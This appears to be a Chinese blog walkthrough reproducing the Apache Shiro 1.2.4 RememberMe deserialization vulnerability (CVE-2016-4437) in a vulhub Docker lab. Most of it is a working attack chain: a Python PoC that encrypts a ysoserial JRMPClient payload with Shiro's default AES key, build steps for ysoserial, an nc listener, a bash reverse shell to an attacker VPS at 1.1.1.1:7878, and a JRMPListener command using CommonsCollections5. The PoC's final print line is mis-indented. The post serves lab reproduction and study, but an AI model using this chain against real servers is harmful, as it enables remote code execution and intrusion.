Shiro RememberMe 1.2.4 反序列化漏洞复现

环境
kali虚拟机
vps
windwos物理机
安装docker环境
启动docker
systemctl start docker
搭建靶场

git clone https://github.com/vulhub/vulhub.git
cd vulhub/shiro/CVE-2016-4437
docker-compose up -d   #启动靶场

在这里插入图片描述
访问页面
在这里插入图片描述
接下来就是淦,准备poc和vps(需要java环境)
poc,百度找‘梦之履行地’大佬的

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext


if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])    
print "rememberMe={0}".format(payload.decode())

保存为shiro_shell.py,后面是vps的地址和端口

在这里插入图片描述
准备ysoserial-0.0.6-SNAPSHOT-all.jar包
如果没有jar包的,想自己生成的可以安装maven环境,比较难搞。然后执行

git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -DskipTests

没报错就OK了
然后将ysoserial-0.0.6-SNAPSHOT-all.jar上传到vps中
在vps中用nc监听7878端口
在这里插入图片描述
反弹shell制作
反弹shell需要加密,网址:http://www.jackson-t.ca/runtime-exec-payloads.html
反弹shell代码如下

bash -i >& /dev/tcp/1.1.1.1/7878 0>&1             #1.1.1.1为vps ip

然后继续在vps中开一个窗口输入命令

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 '加密后的反弹shell'

vps设置已经弄好了可以进行测试了
在这里插入图片描述
返回vps上查看

在这里插入图片描述
比较幸运成功了

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值